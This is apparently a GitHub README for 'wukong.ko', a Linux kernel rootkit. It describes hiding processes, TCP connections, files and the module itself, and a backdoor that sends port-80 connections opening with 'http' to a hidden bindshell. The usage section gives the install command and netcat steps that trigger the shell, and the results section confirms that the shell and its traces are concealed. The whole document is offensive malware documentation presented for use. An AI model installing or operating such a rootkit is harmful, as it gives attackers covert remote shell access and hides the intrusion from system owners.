Function

    1. Hide Linux Process.
    2. Hide TCP connection.
    3. Hide File/Directory.
    4. Hide wukong.ko.
    5. Redirect TCP connection to backdoor server by using the specific confidential password.

Usage

    1. Environment:
    ubunt-14.04 (1.1.1.33) --- (1.1.1.1)ubunt-14.04  
    (client)                          (server)

    2. Test step:
    a. on server
    cd wukong/
    sudo ./install.pl
    sudo nc -k -l 80

    b. on client
    nc 1.1.1.1 80
    http
    ifconfig
    PS:The connection will be redirected to bindshell

    nc 1.1.1.1 80
    111111
    PS: a rst will be received.

    nc 1.1.1.1 80
    111111
    aaaaaa
    PS: The connection will be connected with tcp 80.

    3. Result:
    a. Bindshell file is hidden.
    b. Tcp 8000 connection is hidden.
    c. Bindshell process is hidden
    d. wukong.ko is hidden
    e. If "http" is the first four bytes to TCP 80, connection will be established with bindshell.

ToDo:

    Do performance tuning, make it can work on Linux server with large traffic.
    Adding more features.
You can’t perform that action at this time.
